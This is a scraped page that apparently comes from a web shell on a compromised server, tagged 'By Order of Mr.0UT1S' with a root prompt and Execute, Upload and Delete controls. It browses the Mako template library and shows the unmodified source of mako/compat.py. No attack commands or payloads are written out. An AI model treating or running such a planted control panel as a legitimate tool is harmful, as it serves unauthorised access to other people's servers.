opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
mako
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] __pycache__
N/A
[DIR] ext
N/A
[DIR] testing
N/A
__init__.py
242 bytes
Rename
Delete
_ast_util.py
19.77 KB
Rename
Delete
ast.py
6.49 KB
Rename
Delete
cache.py
7.50 KB
Rename
Delete
cmd.py
2.75 KB
Rename
Delete
codegen.py
46.62 KB
Rename
Delete
compat.py
1.78 KB
Rename
Delete
exceptions.py
12.24 KB
Rename
Delete
filters.py
4.55 KB
Rename
Delete
lexer.py
15.94 KB
Rename
Delete
lookup.py
12.14 KB
Rename
Delete
parsetree.py
18.58 KB
Rename
Delete
pygen.py
10.17 KB
Rename
Delete
pyparser.py
7.30 KB
Rename
Delete
runtime.py
27.15 KB
Rename
Delete
template.py
23.01 KB
Rename
Delete
util.py
10.39 KB
Rename
Delete
# mako/compat.py # Copyright 2006-2025 the Mako authors and contributors <see AUTHORS file> # # This module is part of Mako and is released under # the MIT License: http://www.opensource.org/licenses/mit-license.php import collections from importlib import metadata as importlib_metadata from importlib import util import inspect import sys win32 = sys.platform.startswith("win") pypy = hasattr(sys, "pypy_version_info") ArgSpec = collections.namedtuple( "ArgSpec", ["args", "varargs", "keywords", "defaults"] ) def inspect_getargspec(func): """getargspec based on fully vendored getfullargspec from Python 3.3.""" if inspect.ismethod(func): func = func.__func__ if not inspect.isfunction(func): raise TypeError(f"{func!r} is not a Python function") co = func.__code__ if not inspect.iscode(co): raise TypeError(f"{co!r} is not a code object") nargs = co.co_argcount names = co.co_varnames nkwargs = co.co_kwonlyargcount args = list(names[:nargs]) nargs += nkwargs varargs = None if co.co_flags & inspect.CO_VARARGS: varargs = co.co_varnames[nargs] nargs = nargs + 1 varkw = None if co.co_flags & inspect.CO_VARKEYWORDS: varkw = co.co_varnames[nargs] return ArgSpec(args, varargs, varkw, func.__defaults__) def load_module(module_id, path): spec = util.spec_from_file_location(module_id, path) module = util.module_from_spec(spec) spec.loader.exec_module(module) return module def exception_as(): return sys.exc_info()[1] def exception_name(exc): return exc.__class__.__name__ def importlib_metadata_get(group): ep = importlib_metadata.entry_points() if hasattr(ep, "select"): return ep.select(group=group) else: return ep.get(group, ())
Save